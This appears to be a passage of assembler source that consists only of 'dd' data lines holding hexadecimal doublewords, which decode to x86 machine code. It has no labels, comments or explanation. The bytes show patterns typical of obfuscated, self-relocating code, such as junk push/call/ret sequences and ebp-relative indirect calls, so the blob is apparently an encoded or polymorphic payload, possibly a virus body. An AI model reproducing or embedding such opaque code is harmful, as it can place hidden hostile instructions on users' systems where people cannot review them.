		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0C825A8A0h, 5148CABCh, 68A0Fh, 95890000h
		dd 5E819E1h, 6A615Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E7E433C3h, 149489BFh, 38BA6627h
		dd 0FF66E9F0h, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9E8F8C3h, 32000000h, 9DCFB18Bh
		dd 46D67603h, 5ECB8166h, 6C75BD2h, 1, 14C98D89h, 860F05E8h
		dd 6, 1FC9B501h, 0BD8305E8h, 5E84D0Ch, 4F850F05h, 0E9000001h
		dd 12h,	0BF54C3B5h, 0AD58DF9Ch,	181CEB4Dh, 0AEF3A229h
		dd 9D89AC48h, 5E82B79h,	0C79B58Bh, 0DA8A05E8h, 64B9h, 3D9D8B00h
		dd 8005E825h, 840FE83Eh, 40h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0F2C35141h,	9044B415h, 82C2ED8Fh
		dd 69E9h, 0DA8B6600h, 0FE9h, 1CE03400h,	0B1F70CFFh, 0AA5B9B83h
		dd 53685F8Ah, 0C2057E80h, 8D840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0EB8191C3h
		dd 0CCF69BB0h, 0BB49C411h, 7EF8D8F4h, 0AE960h, 0CAF0000h
		dd 0B1C93A87h, 0F020F2BDh, 8E9h, 3E3CBD00h, 21D4DB76h
		dd 814661FAh, 2F33AC3h,	49DA8B3Fh, 0FF55850Fh, 8D89FFFFh
		dd 5E831B9h, 69E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0CA39EAE3h, 863837A3h
		dd 0C59D0306h, 8905E810h, 0E80A75B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0C6E15F99h, 68B0FB5h, 8B000000h, 0E8327D9Dh,	8E905h
		dd 0A1440000h, 6C027214h, 8B5877E7h, 0E824FD95h, 0DE905h
		dd 36200000h, 6807787Dh, 221680ABh, 8379589Bh, 0E8165DBDh
		dd 840F0005h, 17Ch, 0FE9h, 0A88CF800h, 0EB819151h, 0CCF69BB0h
		dd 9A49C411h, 11E960h, 0B7520000h, 0E12DAEBEh, 0A398D404h
		dd 0BCE695FDh, 0C60B2DC8h, 0E8201585h, 6A5405h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0BCD9C6C3h, 0FB7FD65h, 18Ah,	9529F800h, 5E8330Dh, 0E84CDF80h
		dd 4, 0FF4EBEF4h, 5650D3B7h, 3D4D27BBh,	448B5B70h, 60BB0424h
		dd 8B1688D0h, 0BE900h, 149C0000h, 34EDA18Fh, 1A5D0C4Dh
		dd 24448923h, 7E804h, 0BC2A0000h, 436640ACh, 0D2BB664Eh
		dd 6A585ADAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4ECC352h, 0CA9B5FFh, 810F05E8h
		dd 19h,	10E8h, 176FEE00h, 9FE96530h, 86192DD6h,	80646015h
		dd 0DE8B66C9h, 30858D5Ah, 6A05EB7Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 92ECC352h
		dd 999D8B57h, 5A05E819h, 9D8BD0FFh, 5E82935h, 1B199D03h
		dd 6A05E8h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 16h,	49C35141h, 95237C04h, 5E819C1h,	19998589h, 0B5FF05E8h
		dd 5E8165Dh, 28858501h,	0D0FF05E8h, 47DB8166h, 0BD8961CEh
		dd 5E81999h, 0FE9h, 89AA7800h, 0F373ABE9h, 265D4089h, 46973EBFh
		dd 2E7185C7h, 105E8h, 0D2B30000h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0F9836F1Ah
		dd 0CB03205Bh, 0CF689E09h, 66802FEAh, 81695FBAh, 15B12404h
		dd 6A7FD0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0FF6A88C3h, 21A995FFh, 666005E8h,	61F8D08Bh
		dd 0DFBF0F61h, 0A1BB6650h, 24048985h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 25C35141h, 0BF3B9A5Ch, 5A7C60BDh
		dd 858BD18Ah, 5E82239h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 4CC35040h, 6660A805h,	0C5CAEF81h, 0B610EB4h
		dd 43840FC0h, 0E8000000h, 12h, 270D2085h, 6C59C8B8h, 0E7031C64h
		dd 223DDD4h, 0F18A0EF3h, 8595FF5Ah, 6A05E813h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 7677C351h, 7333BAF2h, 85C72FC2h, 5E822BDh, 1, 0E858D29h
		dd 0BD8305E8h, 5E827A1h, 3C840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A629C355h, 0FFDE1CB1h, 0E8105195h, 11E905h,	0E9850000h
		dd 0BF7CB3FFh, 6DDF1734h, 7C29FA61h, 8349E44Dh,	0E832B1BDh
		dd 840F0005h, 17h, 14058529h, 95FF05E8h, 5E81A5Dh, 6E9h
		dd 5C9D5E00h, 833EDF12h, 0E81071BDh, 840F0005h,	43h, 8F9DBA66h
		dd 20B9BD83h, 0F0005E8h, 3285h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 97BF95CCh
		dd 859D8BD1h, 0FF05E814h, 0E8128995h, 0BD958B05h, 8305E816h
		dd 0E81329BDh, 840F0005h, 22h, 8581DD8Ah, 5E8111Dh, 4003h
		dd 3870Fh, 0BF0F0000h, 0F98581DBh, 305E81Ah, 80000040h
		dd 310F2FDFh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0BFC35343h, 0E17FFE51h,	219D8BE6h, 8D05E82Fh, 0E85CE58Dh
		dd 0B820F05h, 60000000h, 29FBB70Fh, 0E8114D8Dh,	1896105h
		dd 27D99501h, 0C23305E8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 1AC35747h, 5AA1D210h,	0EB72DF76h, 819523F5h
		dd 8905E82Eh, 0E8600441h, 8, 6822C58Ch,	0F8893B3Ch, 25F5BD0Bh
		dd 665805E8h, 0CD11CA81h, 6A310F61h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C2E8C357h
		dd 0CF723B6Fh, 0C4576B54h, 13E8h, 3C49CE00h, 0C514020Ah
		dd 56ABE67Ah, 5499C952h, 7762DDCDh, 8E94F4BBh, 66605A3Dh
		dd 960F28Bh, 0E82BA19Dh, 8D616105h, 0E85CF88Dh,	40CA8105h
		dd 890CC8C7h, 0FE901h, 2C290000h, 5E46696Ch, 5C6AC584h
		dd 5FA19171h, 31C23339h, 0E81951B5h, 4418905h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 98C35747h, 27E80A02h
		dd 10E8ADh, 83920000h, 0D639AEB2h, 989057D7h, 7217916Fh
		dd 0CA815593h, 4DF9F048h, 0CDBD835Bh, 5E806h, 37840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0EFE802C3h, 4AB4735Eh, 8D89A282h,	5E80E3Dh
		dd 3418589h, 95FF05E8h,	5E80DC5h, 15BD83FCh, 105E80Ah
		dd 8F850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 4BD645C3h, 8A19501h, 66E905E8h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 81E3C352h, 0A37F35D3h,	0C9B58B3Bh
		dd 0C705E85Eh, 6, 19B58B00h, 0C705E85Ch, 6, 6ACF00h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 63F9BBC3h, 0FB4EC57h, 89F5D7B7h, 0E8247DB5h,	0BDBD8305h
		dd 5E822h, 107840Fh, 0BD890000h, 5E814ADh, 24C9BD83h, 0F0105E8h
		dd 0C185h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1704h, 0C3514100h, 79013164h, 4D008D8Bh, 0BD8905E8h
		dd 5E82029h, 999D8957h,	5B05E832h, 600001C6h, 68DFBF0Fh
		dd 0C82E80AAh, 0CE95250h, 8F000000h, 763D57FAh,	0FB658A58h
		dd 0F31660Eh, 0EEB76031h, 0A55FD9BBh, 585A6168h, 0D6240481h
		dd 8937D17Fh, 0E816718Dh, 8BFF6A05h, 0E813819Dh, 0A995FF05h
		dd 6A05E821h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 2461C353h, 14E392DBh, 2B9B589h
		dd 8B6105E8h, 0E805B595h, 0F995FF05h, 6605E825h, 8D8BDE8Bh
		dd 5E84D00h, 0B3B4EE80h, 0B601FEA9h, 0BD83F903h, 5E82F19h
		dd 26850F01h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 4FA3C357h, 29EA2DA1h
		dd 0E825D1B5h, 8BC08B05h, 0E81A3595h, 89BD8305h, 5E80Eh
		dd 0BD830975h, 5E80BE9h, 501A7400h, 8BC08B53h, 0E8111D85h
		dd 1D858905h, 8D05E811h, 0EAA94E9Dh, 5BD3FF05h,	0E9BD8358h
		dd 5E80Bh, 53501874h, 111D858Bh, 858905E8h, 5E8111Dh, 0A63D9D8Dh
		dd 0D3FF05EAh, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 663977C3h, 0C08BD08Bh, 3019589h
		dd 0BD8305E8h, 5E822BDh, 13850F00h, 8B000000h, 0E80C1995h
		dd 3DBD8305h, 5E826h, 840Fh, 0BD830000h, 5E822BDh, 52840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 4028C350h, 564F2202h, 9D89F24Eh
		dd 5E810C1h, 0BE9h, 95075B00h, 5AEC6B8h, 0B2F7F7A2h, 13EDBD83h
		dd 0F0005E8h, 0C84h, 81852900h,	8B05E82Bh, 0E830959Dh
		dd 0BDBD8305h, 5E822h, 3D840Fh,	0D1B20000h, 13EDBD83h
		dd 0F0005E8h, 2E84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E4E412EBh, 83B40A86h
		dd 958BD66Ch, 5E80B11h,	8335CA80h, 0E822BDBDh, 840F0005h
		dd 3Ah,	21E19D2Bh, 0BD8305E8h, 5E80C89h, 27840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0A632C357h, 58525FB4h, 30FD8D29h,	0BD8305E8h
		dd 5E822BDh, 78840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 62A3C357h
		dd 20C6128Dh, 3B89FC44h, 5E9h, 0E8D37F00h, 0BA666156h
		dd 0BD836638h, 5E8080Dh, 38840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 6AACC351h, 1B3D6FDh,	0E82B7995h, 1195FF05h, 0F05E810h
		dd 68Bh, 7D9D8B00h, 8B05E82Ch, 56006AC0h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 2C4A8624h
		dd 0CD958B87h, 8305E82Ah, 0E80E89BDh, 9750005h,	0BE9BD83h
		dd 740005E8h, 8B53501Ah, 0F9858BC0h, 8905E81Ah,	0E81AF985h
		dd 0B59D8D05h, 0FF05EAA9h, 83585BD3h, 0E80BE9BDh, 18740005h
		dd 858B5350h, 5E81AF9h,	1AF98589h, 9D8D05E8h, 5EAA656h
		dd 585BD3FFh, 158F0Fh, 0DE80000h, 48000000h, 0AE3683F6h
		dd 0DC0B2EF5h, 8F6EE9F2h, 6A5B6160h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 293DC352h
		dd 0E81979B5h, 60C08B05h, 6977EAB8h, 11B58937h,	6105E808h
		dd 22BDBD83h, 0F0005E8h, 4AE84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 66A4BD1Bh
		dd 0C499597Fh, 0A3E38166h, 71950973h, 0F805E80Dh, 3331BD83h
		dd 0F0205E8h, 4984h, 820F6000h,	1, 319531F8h, 6105E823h
		dd 0A15BD83h, 0F0105E8h, 2D85h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 80E5CF89h
		dd 7E9D8D2h, 8C000000h,	898B6A4Ah, 0BD83C4A8h, 5E82521h
		dd 0BB840F00h, 8B000000h, 0E80BE19Dh, 0DABA6005h, 0BB083CC2h
		dd 1F967307h, 4D008D8Bh, 6A05E8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9D2C8C3h, 0E92910D7h
		dd 0Ah,	50D648E8h, 0EF9E5AF9h, 1FE96B4h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 76C35747h, 97EB1B8h
		dd 6F100D2Bh, 85BB6659h, 0C3996809h, 72B3889Dh,	0E7240481h
		dd 977623Ch, 0E829B99Dh, 55958B05h, 6A05E825h, 19D8BFFh
		dd 0FF05E825h, 0E821A995h, 2961FC05h, 0E82FFD9Dh, 13830F05h
		dd 0E8000000h, 8, 0AE0126Fh, 0C13FCDCEh, 0EDD25ABBh, 89605A2Eh
		dd 0E80C4595h, 8D8B05h,	2905E84Dh, 0E80D3D9Dh, 6A01FE05h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0CC80C352h, 0A4F1B7FBh, 73831168h, 0EE8D2h
		dd 0C27F0000h, 0CB8171ECh, 1D8558C7h, 83AE9C60h, 10E8h
		dd 0F50F3F00h, 0FF3E57D5h, 0CEB1DFEh, 0D2B14483h, 5BD08B58h
		dd 2404815Ah, 2D8C7D6Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 68C35747h, 4599C878h,	870F2EFBh, 6, 0CD1958Bh
		dd 0FF6A05E8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	97C35040h, 76B05057h, 22893575h, 0A9BB6644h, 0A995FF97h
		dd 8905E821h, 0E8128DB5h, 48CA8105h, 61003EDAh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0E4C35343h, 0BD8D6E54h, 5E82339h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h, 1ECCB5ECh
		dd 4F8BCF5Bh, 0E281661Ch, 16AD867h, 35C7C281h, 52917C47h
		dd 505ABBB3h, 91D68B66h, 262D950Bh, 858D05E8h, 5EB385Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 23C35343h
		dd 0CFC68B29h, 0B589FD58h, 5E81FC9h, 8166D0FFh,	8BD8BFEAh
		dd 36A204Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0F4C35242h, 9D09E2EEh, 5E814E9h, 12E9h,	0F43A0800h
		dd 9AF1756Ah, 0E3349BBEh, 0A46B1316h, 5079B2C4h, 0C89F98Ah
		dd 91952924h, 8D05E80Ch, 0EB385F85h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C5CC8A79h
		dd 0DD8A0F62h, 0CE9D0FFh, 97000000h, 126C7F9h, 3B035060h
		dd 8D48E3A6h, 0E82339BDh, 559D8905h, 8B05E809h,	8D0F1C4Fh
		dd 6, 1159BD89h, 16A05E8h, 12ED8D01h, 8B5005E8h, 240C89D6h
		dd 208D9D2Bh, 858D05E8h, 5EB385Fh, 292BBA66h, 8BF5D0FFh
		dd 0F78A204Fh, 6A036Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0E8D7D1C3h, 91F9A16Ah, 0B250DA8Bh
		dd 810F9151h, 0Fh, 0AE9h, 24CE0300h, 0A427B90Eh, 8D9FAE40h
		dd 0EB385F85h, 0D18B6605h, 0FE9h, 3FEA1100h, 7118D484h
		dd 0FC345675h, 0A27B9719h, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0C3F4D9C3h
		dd 8BF85685h, 0E8330195h, 8D8B05h, 0BB05E84Dh, 19C4B7D5h
		dd 8B6601FEh, 858BDAh, 105E84Dh, 0E808A595h, 5E905h, 0D36B0000h
		dd 0FE9059D4h, 19BB6600h, 81016A71h, 0E1A0F8D2h, 4E825h
		dd 9FFF0000h, 5057FFFFh, 0F84B252h, 0D88B6631h,	505A585Ah
		dd 0F94A34BBh, 24448B3Eh, 2880F04h, 8B000000h, 0E8008BD7h
		dd 7, 5AC534E5h, 0E9CEFD12h, 12h, 2F41543Dh, 481A606Bh
		dd 0AADD8518h, 0C1712CBCh, 895BA173h, 8A042444h, 958B58DDh
		dd 5E81509h, 3869858Dh,	19B205EBh, 0FBBD0FFh, 83493273h
		dd 0E8263DBDh, 840F0005h, 0BBh,	8342E280h, 0E810B9BDh
		dd 850F0105h, 0ABh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 4CC35242h, 4AB34D65h,	8B668D57h, 4BC281D3h
		dd 8D32A9A5h, 0EB38738Dh, 0E3816605h, 8D29BFFCh, 5E8077Dh
		dd 8529036Ah, 5E813E9h,	8160016Ah, 6CB4C5DBh, 719D8943h
		dd 6105E825h, 11E9D1FFh, 8000000h, 7DA0B303h, 0F9B9D8B2h
		dd 0CF2B8381h, 0D0EFFAF7h, 0ABB3016Ah, 958B016Ah, 5E808A5h
		dd 3D1FFF8h, 0E82E0D9Dh, 0E8DE8B05h, 0FA735D11h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C6C35141h, 58D8985h
		dd 6A05E805h, 50006A20h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 9D8B8295h, 5E81311h, 0EF80FF6Ah
		dd 0A995FFF2h, 305E821h, 0E814519Dh, 0B805h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 1E559C3h, 0E80C6D85h, 0FC00B05h, 6E84h, 25800F00h, 60000000h
		dd 0FE9h, 736DD100h, 2445480Dh,	9E241E3Fh, 35C364B1h, 0AE9h
		dd 29198600h, 994E9F11h, 61AA42D3h, 203DBD83h, 0F0005E8h
		dd 3684h, 81B58900h, 0FF05E80Ah, 0E82B5D95h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0DDA8084Bh, 0EF1924AFh, 81666539h, 8B739CE2h, 0E8133D85h
		dd 0D4806005h, 0A59D8982h, 6105E82Eh, 0F0000C6h, 880h
		dd 85895000h, 5E82071h,	7E8585Ah, 0E0000000h, 3028879Ah
		dd 9589D60Ch, 5E81055h,	0D98C665Ah, 5236BB50h, 0F65A31DAh
		dd 840F04C1h, 4Dh, 6299D89h, 42E905E8h,	8B000000h, 0E803419Dh
		dd 0D1B58B05h, 0F05E822h, 0F8B2D3B7h, 1180C681h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B53164C3h, 5E82011h, 6C7h, 0CE800000h, 12E85E96h, 0FB000000h
		dd 4FDD0846h, 1ED4123Bh, 25BC19D3h, 3C8A4954h, 0F8835ADDh
		dd 96840F00h, 8000000Bh, 0F8836ED2h, 6F850F01h,	6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3B75C351h, 8BC5A320h, 3D8589D1h, 0B805E833h
		dd 0
		dd 2DD5958Bh, 0C00B05E8h, 0B3840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8D893FC3h
		dd 5E81F35h, 194D8529h,	0F88305E8h, 9F840F01h, 0F000000h
		dd 68Ch, 75F28100h, 832377CEh, 840F03F8h, 4Ah, 48A0Fh
		dd 0BA660000h, 0B8F70Dh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 127FC357h
		dd 3044D4D0h, 8166C328h, 8D8CBBE2h, 5B7974BDh, 359D8B00h
		dd 0FF05E826h, 8733BBE7h, 1B81681h, 0E9000000h,	8, 81F4E7E3h
		dd 4FDCB670h, 7974BD8Dh, 0BD89005Bh, 5E81541h, 0BF0FE7FFh
		dd 8CBD8DD0h, 0FC05E843h, 2DCE9h, 0CE900h, 0BA8F0000h
		dd 51354D7Fh, 9496BC94h, 85C7BD5Bh, 5E84D5Bh, 5, 292D9D8Bh
		dd 5B805E8h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 9F30C350h, 0B70FB197h
		dd 0DEB70FD1h, 9B6E9F9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 386657C3h, 66FD1ACFh
		dd 0F883D78Bh, 0A5850F02h, 8B000000h, 0E81B199Dh, 0B805h
		dd 9D8B0000h, 5E80A65h,	840FC00Bh, 72h,	0DFD28166h, 6E9B5h
		dd 93C10000h, 0DFBD2D2h, 0F01F883h, 0FFFF6184h,	0B0B6BAFFh
		dd 0F883442Eh, 13840F03h, 89FFFFFFh, 0E824E995h, 6AC02B05h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0FAF4C353h, 99030E4Eh, 667C217Eh,	2FA4DB81h
		dd 7974BD8Dh, 958B005Bh, 5E82EE9h, 29C9950Bh, 0E7FF05E8h
		dd 1601BD01h, 0BD8D05E8h, 5E84584h, 895FC280h, 0E8084985h
		dd 1BFE905h, 958B0000h,	5E832A1h, 0F03F883h, 3C85h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0BF1862C4h, 89DC0FB0h, 0E82C9195h, 18BD8D05h, 8005E847h
		dd 7AE9D8EBh, 8B000001h, 0E8164595h, 5F88305h, 2F850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 55FC10C3h, 71E9BF07h, 0CB81BBF4h,	77CA2265h
		dd 867E9h, 6F88300h, 5B850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0B27FA2C3h
		dd 10BD8D3Dh, 0E905E849h, 10h, 0A0680680h, 9CB46D18h, 444528A2h
		dd 59268F03h, 0F4E9h, 12E800h, 2F640000h, 0F3AC5D4h, 6084DBC6h
		dd 575E6BBDh, 5138C841h, 24EEBA66h, 7F8835Bh, 67850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 9D971BC3h, 0E19D299Bh, 6605E80Fh,	576BC281h
		dd 25BD8Dh, 0BD8905E8h,	5E8198Dh, 15AE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 6A75FDC3h, 0A99D2BACh, 3305E80Eh, 0E824ED9Dh, 0AF88305h
		dd 5F850Fh, 958B0000h, 5E82D05h, 4B08BD8Dh, 6A05E8h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 897AE1C3h, 0E807C985h, 14E805h, 2FDB0000h, 912617A5h
		dd 43457188h, 0DB188EF7h, 4AFF6AE6h, 6E945FBh, 6C000000h
		dd 994790ACh, 6E95A2Ah,	8B000000h, 0E8304995h, 6A5705h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 6A2910C3h, 0C8F0F68h, 0E9000000h, 7,	25DD0EC0h, 89B94FABh
		dd 0E82899BDh, 4F77B905h, 3F834AA8h, 5D840F00h,	66000000h
		dd 30602EBBh, 6AC9D10Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 7867C352h, 8978CD31h
		dd 0E8100985h, 6A4705h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 73AC3DC3h, 0B3BA25A2h, 0FFA0E93Fh
		dd 0B589FFFFh, 5E82941h, 51006A5Fh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 6093AFC2h, 89BCA5F2h
		dd 0E84D04BDh, 28F0F05h, 8A000000h, 0A58D8DD4h,	5005E811h
		dd 6382DB81h, 0FF5B4DB7h, 0E80C79B5h, 0D8BF0F05h, 0A338858Dh
		dd 8D5005EAh, 0E85375BDh, 118D8D05h, 0B805E86Fh, 54831ABCh
		dd 730CF2Bh, 4947C8D0h,	0B58DF875h, 5E86EAFh, 6F298D8Dh
		dd 0CF2B05E8h, 0C933A4F3h, 0B8h, 74C00B00h, 3DBD8346h
		dd 5E820h, 95FF0674h, 5E82B5Dh,	4D04B58Bh, 858D05E8h, 5EAA338h
		dd 858DD0FFh, 5E8416Ah,	85C7D0FFh, 5E816FDh, 1,	2E21A58Bh
		dd 0B58B05E8h, 5E81545h, 1B9DAD8Bh, 0C03305E8h,	0F000CC2h
		dd 9D8BDBB7h, 5E825CDh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 6BC35343h, 89611256h,	0E823D195h, 69BD8305h
		dd 5E819h, 6C840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 0F754DC3h, 684h, 7D952300h
		dd 0FF05E822h, 0E8241D95h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0C0B12204h
		dd 7B9DB7C7h, 11E8h, 0D1FF5700h, 36E594E8h, 0BE99C3E8h
		dd 0E0C22B18h, 0DA809EDAh, 0BD835B5Dh, 5E812D5h, 0C5850F00h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 89B0C355h, 0E81B459Dh,	0B9BD8305h
		dd 105E810h, 196850Fh, 0BF0F0000h, 49BD83DEh, 5E813h, 186840Fh
		dd 820F0000h, 5, 18C28166h, 57BD8383h, 5E84Dh, 16E840Fh
		dd 0DA810000h, 23E78F84h, 0A338858Dh, 6A05EAh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 6E2A64C3h, 0CBC7044Ah, 13E9CF5Dh, 0E3000000h, 0F2896510h
		dd 0DECCF514h, 51588380h, 841E9FA1h, 0DE95005h,	6E000000h
		dd 0F5E5ED98h, 3C07BC33h, 80B9E1A8h, 2B3D9533h,	0B58B05E8h
		dd 5E84D04h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0E7C35242h, 56662D25h, 5F40FB27h, 28218D29h, 850105E8h
		dd 5E830A1h, 800FD0FFh,	1, 9E9F9h, 2D600000h, 0DA614D73h
		dd 0C6D8FCE5h, 0E8201585h, 0AE95405h, 57000000h, 4FFEA14Eh
		dd 914C6852h, 4D850976h, 6805E824h, 0EC62F1CEh,	82BB6652h
		dd 4815B94h, 0EBCD2624h, 53006A12h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 958B2646h, 5E80D35h, 2559B5FFh
		dd 6E905E8h, 87000000h,	0C4E57209h, 0D7858DDDh,	0F05E838h
		dd 68Eh, 25DB8100h, 0FF7F2AA4h,	9AC280D0h, 958B006Ah, 5E80D19h
		dd 8589FF6Ah, 5E81C15h,	0B3BBD0FFh, 891445E3h, 0E80C69B5h
		dd 15B5FF05h, 105E807h,	0E82E6985h, 7995FF05h, 0E905E80Ch
		dd 0Eh,	3BDB7BDEh, 0FC4FC81Eh, 0AF97AD6Ah, 9D89B35Eh, 5E82AD9h
		dd 4D04B58Bh, 0B70F05E8h, 0BF0FC3DBh, 3DB58BDEh, 8B05E813h
		dd 0E806AD95h, 0FF60B05h, 3084h, 33526000h, 0E827A585h
		dd 85295B05h, 5E806BDh,	7D1DBB61h, 6C602A9h, 13E900h, 89E20000h
		dd 0CDD92991h, 0ECC59E90h, 98BC1602h, 2111F3FBh, 0C85890Dh
		dd 8905E84Dh, 0E81B8985h, 0F88305h, 367840Fh, 0B70F0000h
		dd 0B8D7h, 0DB810000h
		dd 501876F4h, 0F00F883h, 9D84h,	48F0F00h, 66000000h, 66F0FEBBh
		dd 0DC3BCA81h, 0F02F883h, 6885h, 459D8B00h, 8D05E806h
		dd 0E8438785h, 0F1B58905h, 2D05E821h, 929h, 0CE8h, 2E30000h
		dd 0E5054333h, 0BD7C795Dh, 6ADA81EFh, 5B246820h, 0CE890h
		dd 9B490000h, 0FD68B939h, 7C2F3CDCh, 0E0BAFC1Bh, 5B2DFA98h
		dd 5E950h, 54F30000h, 90E28AEFh, 0D9B58B60h, 8905E808h
